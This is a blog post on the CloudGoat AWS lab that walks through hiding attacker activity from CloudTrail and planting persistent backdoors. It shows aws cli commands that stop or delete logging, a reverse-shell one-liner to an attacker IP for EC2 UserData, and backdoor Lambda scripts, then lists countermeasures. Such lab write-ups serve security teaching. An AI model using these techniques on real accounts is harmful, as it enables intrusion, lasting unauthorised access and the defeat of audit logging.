Playing with CloudGoat part 2: fooling AWS CloudTrail and getting persistent access

In the previous blog post I described an example of escalating privileges in AWS: specifically getting administrator privileges starting from a user with only EC2 permissions. Today, I’ll continue the scenario and assuming I already have administrator privileges I’ll show you how an attacker may stay undetected and how to set a permanent access to compromised environment.

3, 2, 1… Let’s start!

Any activity in AWS can be monitored by the CloudTrail service. According to Amazon:

“CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your AWS account. With CloudTrail, you can log, continuously monitor, and retain account activity, including actions taken through the AWS Management Console, AWS SDKs, command line tools, and other AWS services. This event history simplifies security analysis, resource change tracking, and troubleshooting.”

In other words, CloudTrail is a “Big Brother” watching any actions made by your users. From obvious reasons, the first step, what an attacker would do after getting an access to compromised environment, is hiding his fingerprints. With administrator permissions that isn’t a tough task.

CloudTrail recon

The CloudTrail service isn’t enabled by default. It has to be explicitly configured by the administrator. You can define what should be monitored by setting up “trails” .

Going back to the CloudGoat challenge, let’s see what is being logged by CloudTrail:

As you can see, all logs are stored in a S3 bucket named “8678170722044418295491212493322823229141751439696325418”. What is more the CloudTrail in CloudGoat only monitors the region “us-west-2”. So if you perform any region-specific action, e.g. start new instances in any other than “us-west-2” region, then… yes, it will NOT be logged by a CloudTrail 😃 However, please be aware, that global services, like “IAM” (e.g. creating a new backup user) will still be included in the logs. So can an attacker fool the CloudTrail logs?

Stop the service

First of all an attacker can stop logging at all. Simply pause the service and resume it after the attack. It is possible via the following command:

Then an attacker may perform some malicious actions (e.g. exfiltrate data, create backdoor IAM users, start an instance with running crypto miner etc.). After the attack the CloudTrail can be brought back using the following command:

$ aws cloudtrail start-logging --name cloudgoat_trail --profile administrator

Remove trails

The CloudTrail can be permanently stopped also by removing trails:

$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

Alternatively, you can also remove the bucket, which stores the logs (if you decide to do so, remember about adding a flag force — otherwise you won’t be allowed to remove it even if you have administrator permissions):

After removing trails or deleting a bucket, any new event will not appear in the CloudTrail logs. However, stopping or removing trails is a very loud way and such anomaly can be quickly detected, e.g. after removing the bucket you will see the following notification in the CloudTrail:

GuardDuty also very quickly detects stopping the CloudTrail:

Let’s find a better method

By default CloudTrail service is set to monitor all the regions, but if you remember in CloudGoat the service is specified to log only events from “us-west-2” region. It means that if you execute any region-specific action (for example starting a new EC2 instance in region “eu-west-2") it will not be logged at all (but no worries it will be added to your bill 😉).

What about global services? Well, monitoring only specific region also include events from global services, like for example “IAM” events. Fortunately, you can disable monitoring of events from global services by using a flag no-include-global-service-events. To check if it does work, I created a user “test1” and then I updated a trail to disable logging global service events:

After that I created a user “test2”:

I’ve also stopped the EC2 instance using Bob’s access keys (to check if actions from region “us-west-2” are correctly logged). In CloudTrail, indeed there is the event as well as this one regarding creating the user “test1”, but there’s nothing about the user “test2”:

In this way an attacker can stay invisible to CloudTrail logs. The other options to avoid being caught by CloudTrail logs are the following:

• Encrypt all the logs with a new key (and then disable a key and schedule it for deletion after certain time).
• Change the log’s S3 bucket to the new one (and after an attack change it back to the old one and then remove attacker’s bucket, what is possible, because the attacker’s bucket is no longer in use).
• Apply AWS Lambda to remove any new log entry (for which you don’t need CloudTrail permissions to update trails, but instead this technique requires the following permissions: “iam:CreatePolicy”, “iam:AttachRolePolicy”, “lambda:CreateFunction”, “lambda:AddPermission”, “s3:PutBucketNotification”).

If you’re would like to see those methods in action, then check out the Daniel Grzelak’s post.

Please note that all above-mentioned actions will hide your activity from CloudTrail logs kept in S3 bucket, but all actions are also recorded by CloudTrail Event History and stored there for 90 days. Fortunately it is enabled by default in all regions and cannot be turned off. Here you can find more.

Persist access

Once you get an administrator access and you’re invisible to CloudTrail logs, it’s time to get a permanent access to the compromised infrastructure. You can deploy a backdoor to AWS infrastructure in a numerous ways, for example:

• Modifying UserData (e.g. adding the bash one-liner bash -i >& /dev/tcp/[your_ip]/[your_port] 0>&1 or adding your SSH key to authorized keys) in EC2 instance with privileged role assigned.
• Starting a new EC2 instance based on your own AMI with assigned privileged role,
• Adding a backdoor to existing Lambda function (e.g. create a new user once the function is invoked with special parameter).

Even a better idea is to set additional keys to already existing users. For that purpose, you may found helpful the aws_pwn scripts. Actually, they can do much more in a quick and automated way:

• rabbit_lambda — a Lambda function that responds to user delete events by creating more copies of the deleted user
• cli_lambda — a Lambda function that acts as an aws cli proxy and doesn’t require credentials.
• backdoor_created_users_lambda — a Lambda function that adds an access key to each newly created user.
• backdoor_created_roles_lambda — a Lambda function that adds a trust relationship to each newly created role.
• backdoor_created_security_groups_lambda — a Lambda function that adds a given inbound access rule to each newly created security group.
• backdoor_all_users — adds an access key to every user in the account.
• backdoor_all_roles — adds a trust relationship to each role in the account (requires editing the file to set the role ARN).

Continuing the CloudGoat scenario, let’s add an access key to every existing user:

Now, every user has 2 key pairs. In AWS Management console it looks like this:

What is even more interesting, neither of the user is notified about this fact. In CloudTrail there’s disabled monitoring of events from global services, so no new log entry appeared. Does the GuardDuty see any anomaly in creating additional key pairs for each user?

Just a reminder, the GuardDuty service is described by Amazon as: “Intelligent threat detection and continuous monitoring to protect your AWS accounts and workloads”.

Well… the service didn’t recognize any unusual activity in creating additional key pairs for every IAM user:

Conclusions?

In this post we went through the steps how to stay invisible to CloudTrail logs and how to set a permanent access to compromised environment. As you can see it isn’t a tough task what is even more scary. Can we do anything to protect ourselves from such scenarios?

Sure! Here, I gathered a list of countermeasures to take:

• Enable CloudTrail Log integrity in case the attacker would like to replace an S3 object containing his fingerprints.
• Remove CloudTrail permissions (as well as those which may allow for privilege escalation; you‘ll find all those dangerous permissions here) from all users, except those who really needs them (to follow the principle of least privilege you may find helpful a tool from Netflix: Repokid).
• Set up CloudTrail’s S3 bucket Cross Region Replication to bucket owned by other AWS account. The logs sent to the bucket owned by the second account won’t be reachable for anyone under the primary account.
• Enable MFA Delete for removing objects from CloudTrail’s bucket.
• Backup your logs outside the AWS, e.g. to Splunk.
• Start monitoring dangerous events using AWS CloudWatch Events or the external services like Cloudsploit Events or CloudTrail Listener.

In the next post I’ll look into AWS Lightsail service and show you how to escalate privileges via Lambda service. That won’t be the end of the series, so as always — stay tuned!